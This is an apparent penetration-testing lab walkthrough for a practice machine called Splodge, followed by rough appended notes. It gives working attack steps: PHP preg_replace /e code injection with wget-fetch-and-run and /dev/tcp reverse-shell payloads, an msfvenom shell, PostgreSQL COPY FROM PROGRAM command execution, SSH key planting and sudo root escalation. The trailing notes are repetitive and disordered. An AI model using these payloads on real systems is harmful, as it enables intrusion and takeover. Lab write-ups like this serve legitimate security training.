Exploitation Guide for Splodge

Summary

We will gain a foothold on this machine by leveraging Git repository files which contain valid credentials. We will use these to manipulate a web application's PHP regex functionality. We'll leverage insecure ownership of the PostgreSQL database process to escalate our privileges and then abuse a sudo misconfiguration.

Enumeration

Nmap

We'll start off with an nmap scan.

kali@kali:~$ sudo nmap -p- 192.168.120.109
Starting Nmap 7.80 ( <https://nmap.org> ) at 2020-10-14 02:20 EDT
Nmap scan report for 192.168.120.109
Host is up (0.00052s latency).
Not shown: 65530 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1337/tcp open  waste
5432/tcp open  postgresql
8080/tcp open  http-proxy
MAC Address: 00:0C:29:C1:95:EC (VMware)

Nmap done: 1 IP address (1 host up) scanned in 105.19 seconds

Reconstructing a Git Repository

Running dirb against the website on port 80 reveals some Git repository files.

kali@kali:~$ dirb <http://192.168.120.109>
...
GENERATED WORDS: 4612

---- Scanning URL: <http://192.168.120.109/> ----
+ <http://192.168.120.109/.git/HEAD> (CODE:200|SIZE:23
...

The .git folder contains all the version control information for a Git project. This includes the history of all the project's files as well as the information required to recreate every Git-committed project file. Using various utilities, we can reconstruct the project locally. Note that this may take a while.

kali@kali:~$ git clone <https://github.com/internetwache/GitTools>
Cloning into 'GitTools'...
remote: Enumerating objects: 209, done.
remote: Total 209 (delta 0), reused 0 (delta 0), pack-reused 209
Receiving objects: 100% (209/209), 45.93 KiB | 188.00 KiB/s, done.
Resolving deltas: 100% (79/79), done.
kali@kali:~$ cd GitTools/Dumper
kali@kali:~/GitTools/Dumper$ bash gitdumper.sh <http://192.168.120.109/.git/> splodge
###########
# GitDumper is part of <https://github.com/internetwache/GitTools>
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########

[*] Destination folder does not exist
[+] Creating splodge/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
...
kali@kali:~/GitTools/Dumper$ cd splodge
kali@kali:~/GitTools/Dumper/splodge$ git checkout -- .

Browsing our reconstructed repository, we find a potential admin password in database/seeds/DatabaseSeeder.php and a username in app/Http/Controllers/AdminController.php.

DatabaseSeeder.php

...
DB::table('settings')->insert([
    'title' => 'Splodge',
    'filter' => '//',
    'replacement' => '',
    'password' => 'SplodgeSplodgeSplodge'
]);
...

AdminController.php

...
public function postLogin(Request $request)
{
    $settings = DB::table('settings')->first();
    $username = $request->input('username');
    $password = $request->input('password');

    if ($username === 'admin' && $password === $settings->password) {
        Cookie::queue(Cookie::make('SPLODGESESSION', '1', 60));
        return redirect('admin');
    }
    return view('login');
}
...

We can use these credentials to login to the admin panel of the site on port 8080.

Exploitation

PHP Regex Replacement

Browsing the admin settings reveals two fields related to a profanity filter which appears to use a Regex.

Further digging suggests that this value is used when creating comments in app/Http/Controllers/PostController.php, where the value is used as input to preg_replace:

public function comment(Request $request, Post $post)
{
    error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED);
    $author = $request->input('commentAuthor');
    $message = $request->input('commentMessage');
    $settings = DB::table('settings')->first();
    $message = preg_replace($settings->filter, $settings->replacement, $message);
    DB::table('comments')->insert(['post_id' => $post->id, 'author' => $author, 'message' => $message]);
    $comments = DB::table('comments')->where('post_id', '=', $post->id)->get();
    return view('post', ['post' => $post, 'comments' => $comments]);
}

We can exploit this with the e modifier which evaluates the replacement string as PHP code as documented here. To do this, we will set the filter value to /x/e and the replacement value to the following:

system("wget <http://KALI-IP/shell> -O /tmp/shell && chmod 777 /tmp/shell && /tmp/shell");

To exploit this, we'll first generate the reverse shell payload that will be downloaded.

kali@kali:~$ msfvenom -p linux/x86/shell_reverse_tcp -f elf -o shell lhost=KALI-IP lport=8080
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes
Saved as: shell

We'll host the payload over HTTP.

kali@kali:~$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (<http://0.0.0.0:80/>) ...

Next, we'll start a Netcat handler to catch our reverse shell.

kali@kali:~$ nc -lvp 8080
listening on [any] 8080 ...

And finally, we'll trigger our payload by posting a comment containing a letter x, which will trigger the evaluation of our replacement string. Our payload will be executed and we will catch a reverse shell.

kali@kali:~$ nc -lvp 8080
listening on [any] 8080 ...
192.168.120.109: inverse host lookup failed: Unknown host
connect to [KALI-IP] from (UNKNOWN) [192.168.120.109] 54232
id
uid=997(nginx) gid=995(nginx) groups=995(nginx)

Escalation

Enumeration of Running Processes

Looking through the currently running processes, we see that the PostgreSQL database is running as thesplodge rather than as the postgres user.

ps aux
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
...
thesplo+   1280  0.0  1.7 397396 17468 ?        Ss   21:46   0:00 /usr/pgsql-12/bin/postmaster -D /home/thesplodge/.pgdata
thesplo+   1282  0.0  0.2 249656  2052 ?        Ss   21:46   0:00 postgres: logger
thesplo+   1284  0.0  0.3 397512  3804 ?        Ss   21:46   0:00 postgres: checkpointer
thesplo+   1285  0.0  0.3 397528  3356 ?        Ss   21:46   0:00 postgres: background writer
thesplo+   1286  0.0  0.6 397396  6252 ?        Ss   21:46   0:00 postgres: walwriter
thesplo+   1287  0.0  0.3 398080  3304 ?        Ss   21:46   0:00 postgres: autovacuum launcher
thesplo+   1288  0.0  0.2 251908  2280 ?        Ss   21:46   0:00 postgres: stats collector
thesplo+   1289  0.0  0.2 397952  2820 ?        Ss   21:46   0:00 postgres: logical replication launcher
...

PostgreSQL Remote Code Execution

The configuration files for the blog running on port 8080 reveal the credentials for the PostgreSQL database:

cat ../.env
APP_NAME=Splodge
APP_ENV=local
APP_KEY=base64:F9jFCNy0vJ1GhEsbf+PjmTSSHk8u741C5XNTN1Rguow=
APP_DEBUG=false
APP_LOG_LEVEL=info
APP_URL=http://splodge.offsec

DB_CONNECTION=pgsql
DB_HOST=127.0.0.1
DB_PORT=5432
DB_DATABASE=splodge
DB_USERNAME=postgres
DB_PASSWORD=PolicyWielderCandle120

BROADCAST_DRIVER=log
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=sync

Combining this with the Metasploit exploit/multi/postgres/postgres_copy_from_program_cmd_exec module allows us to achieve remote code execution as thesplodge.

msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show options

Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec):

   Name               Current Setting         Required  Description
   ----               ---------------         --------  -----------
   DATABASE           splodge                 yes       The database to authenticate against
   DUMP_TABLE_OUTPUT  false                   no        select payload command output from table (For Debugging)
   PASSWORD           PolicyWielderCandle120  no        The password for the specified username. Leave blank for a random password.
   RHOSTS             192.168.120.109          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT              5432                    yes       The target port (TCP)
   TABLENAME          PL46DDoshzg1            yes       A table name that does not exist (To avoid deletion)
   USERNAME           postgres                yes       The username to authenticate as

Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  KALI-IP   yes       The listen address (an interface may be specified)
   LPORT  8080             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

[*] Started reverse TCP handler on KALI-IP:8080
[*] 192.168.120.109:5432 - 192.168.120.109:5432 - PostgreSQL 12.4 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-39), 64-bit
[*] 192.168.120.109:5432 - Exploiting...
[+] 192.168.120.109:5432 - 192.168.120.109:5432 - PL46DDoshzg1 dropped successfully
[+] 192.168.120.109:5432 - 192.168.120.109:5432 - PL46DDoshzg1 created successfully
[+] 192.168.120.109:5432 - 192.168.120.109:5432 - PL46DDoshzg1 copied successfully(valid syntax/command)
[+] 192.168.120.109:5432 - 192.168.120.109:5432 - PL46DDoshzg1 dropped successfully(Cleaned)
[*] 192.168.120.109:5432 - Exploit Succeeded
[*] Command shell session 1 opened (KALI-IP:8080 -> 192.168.120.109:54234) at 2020-10-16 22:11:42 -0400

id
uid=1000(thesplodge) gid=1000(thesplodge) groups=1000(thesplodge)

Sudo

Finally, we'll upgrade our reverse shell to a full TTY which reveals that this user can run commands as sudo.

python -c 'import pty; pty.spawn("/bin/bash")'
[thesplodge@splodge .pgdata]$ sudo -l
sudo -l
Matching Defaults entries for thesplodge on splodge:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\\:/bin\\:/usr/sbin\\:/usr/bin

User thesplodge may run the following commands on splodge:
    (ALL) NOPASSWD: /bin/bash

Since we can run bash without providing a password we can easily escalate to root.

[thesplodge@splodge .pgdata]$ sudo bash
sudo bash
[root@splodge .pgdata]# id
id
uid=0(root) gid=0(root) groups=0(root)

PS

Now for further exploitation, we need to replace i modifier with e modifier which will cause PHP to execute the result of preg_replace() operation as PHP code.

  • Set filter
    • Profanity Filter Regex: /test/e
    • Profanity Replacement: system('id');

• Comment: “test” to see the output of the command “id”

// Set a filter for reverse shell

●      Profanity Replacement: system('bash -i >& /dev/tcp/192.168.49.188/80 0>&1');

// Finally we get a rev shell on port 80 by posting a comment “test”

Found home dir of user thesplodge

Local.txt: 6bf76bf3e82051a3d006fc5604234e75

// Finally we get a rev shell on port 80 by posting a comment “test”

DB_CONNECTION=pgsql
DB_DATABASE=splodge
DB_PASSWORD=PolicyWielderCandle120
DB_USERNAME=postgres
$ **psql -h localhost -d splodge -U postgres -W**

/usr/local/bin:/usr/bin

we cannot “su thesplodge” using PolicyWielderCandle120 or SplodgeSplodgeSplodge
Found psql in /bin/psql

// However, we can connect to Postgres DB from our Kali machine

Password: **PolicyWielderCandle120**

// List all databases

splodge=# **\\c splodge**

psql (12.2 (Debian 12.2-4), server 12.4)

splodge=# **\\dt *.*

Password for user postgres:

psql (12.2 (Debian 12.2-4), server 12.4)

You are now connected to database "splodge" as user "postgres".

// List all databases

splodge=# **\\dt *.*****

Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest

(Similar to Nibbles) REMEMBER THIS EXPLOIT FOR POSTGRESQL

$ **psql -h 192.168.187.108 -d splodge -U postgres -W

Password: **PolicyWielderCandle120**

splodge=# **CREATE TABLE cmd_exec(cmd_output text);**

CREATE TABLE

splodge=# **COPY cmd_exec FROM PROGRAM 'id';**

COPY 1

splodge=# **SELECT * FROM cmd_exec;**

cmd_output

- ------------------------------------------------------------------

uid=1000(thesplodge) gid=1000(thesplodge) groups=1000(thesplodge)

(1 row)**

// Idea is to get shell of user thesplodge

  • Try running rev shell commands FAILED
  • Try SSH

// Generate SSH key paris

$ **ssh-keygen**

// Create /home/thesplodge/.ssh and copy id_rsa.pub to authorized_keys

splodge=# **COPY cmd_exec FROM PROGRAM 'mkdir /home/thesplodge/.ssh';

COPY 0

splodge=# **SELECT * FROM cmd_exec;**

cmd_output

- ------------------------------------------------------------------

uid=1000(thesplodge) gid=1000(thesplodge) groups=1000(thesplodge)

(1 row)

splodge=# **COPY cmd_exec FROM PROGRAM 'echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1Eq3pg+ZU3trd5ULy1AdeeyPgjLowc0JzE7J4qW7Io5+wFnFKXBgsCObIOwFO5RIl2lrTNzcXtU5R1REw+ElGMCCCAR0KQIKtOUJ4iKPPWWENsU2WzgNB7qCW5/UfvzzT2o+hVNWSTdrHj+dfsjnUYzfVPGXGHfQtnMI9Hdx2AYbnnxJfOjHOLYSbw78bUzTHzOMjhAakmeSkmFmp+KxmfQ6aOTFdPuPByUDK5wdR+Ctol73b7FTOAkSntC2r82tjybdRaZM9LIR3Fsct5FUk2XfYyUkbibUuchD4QfcAZAW74IH+1QMBnYTCs5aY4n/pUo+nrHH0VURtPIRX0Q6SiEFoabxFthPMomcuiB5t8q+mZU2Q6wk3AamKfMODEFnh7lWHadvd9BG/xmuaLWXqnulgLovkZKXWTxRjCV64XPVl5eJvtZen5gsi28LaPkGoDmQCadLoJtMwG70DKJgCK6YCoRkkJ5aeddc7Oh6oeZezbeYL3TT1/zXI0/+Fpvk= kali@kali > /home/thesplodge/.ssh/authorized_keys';**

COPY 0

splodge=# **SELECT * FROM cmd_exec;**

cmd_output

- ------------------------------------------------------------------

uid=1000(thesplodge) gid=1000(thesplodge) groups=1000(thesplodge)

(1 row)**

// Now we can SSH to thesplodge’s shell :)

$ **chmod 600 id_rsa**

$ ssh -i id_rsa [email protected]

(ALL) NOPASSWD: /bin/bash

$ sudo bash